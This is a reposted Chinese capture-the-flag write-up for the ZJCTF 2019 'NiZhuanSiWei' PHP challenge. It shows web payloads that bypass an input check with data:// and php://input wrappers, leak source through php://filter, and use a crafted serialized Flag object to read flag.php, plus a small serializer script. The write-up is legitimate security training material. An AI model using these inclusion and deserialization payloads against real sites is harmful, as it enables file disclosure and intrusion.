[ZJCTF 2019]NiZhuanSiWei
程序员文章站
2022-05-11 18:01:31
...
[ZJCTF 2019]NiZhuanSiWei
1.打开网站就是源码:
大概看一眼,我们的目的地一般都是在最内层判断里了。
2.从上往下看,第一层判断,是判断text参数存在且获取其内容等于“welcome to the zjctf”。这里是让我们猜其目录下的某个文件吗?不不不,这里是考我们伪协议,让我们自己操纵这个内容。
方法1:php://input伪协议
(比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的)
方法2:data伪协议
?text=data:text/plain,welcome to the zjctf
可能还有些其他方法吧,我知识面尚窄。
3.第二步是file参数里不能出现flag字符,我们看到提示“useless.php ”,先包含它看一下。(因为是php文件,我们想看到内容就需要php://filter伪协议)
?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
4.拿去解码看一下:
这里定义了Flag类,里面有__tostring魔术方法,这个魔术方法是在类被当成字符串的时候调用,然后获取file的值并输出。而且这里也提醒了我们flag.php。
5.那么现在我们就包含useless.php文件,后面对$password进行了反序列化,我们让$password反序列化出Flag类,因为$password被当做字符串输出,所以会调用__tostring魔术方法,然后会输出file的内容。那么我们就构*序列化的值。(我是不可能手动构造的,滑稽)
<?php
class Flag{ //flag.php
public $file;
}
$flag = new Flag;
$flag->file = 'flag.php';
print(serialize($flag));
?>
6.最终payload:
/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag在源代码里。
下一篇: Slim框架如何获取当前url?
推荐阅读
-
aeCC 2019怎么使用? ae2019面板相关介绍
-
AWE2019|优点科技用智慧开启全屋智能家居生活
-
2019年十大品牌扫地机器人最新排行榜!都有谁光荣上榜?扫地机器人哪个牌子好?
-
CVE-2019-1181 RDP协议漏洞导致执行远程代码 修复
-
途鸽科技受邀参加2019国际工业智能大会,展现AI科技创新力
-
观远数据携手10家客户入围【2019智慧零售潜力TOP100排行榜】
-
喜讯 | 观远数据荣登亿欧网「2019全球明日之星100」榜单
-
美国西蒙亮相2019数据中心标准峰会
-
Linxee领视携众多智能新品亮相2019年香港电子展
-
Autodesk PowerInspect 2019安装破解详细图文教程(附下载)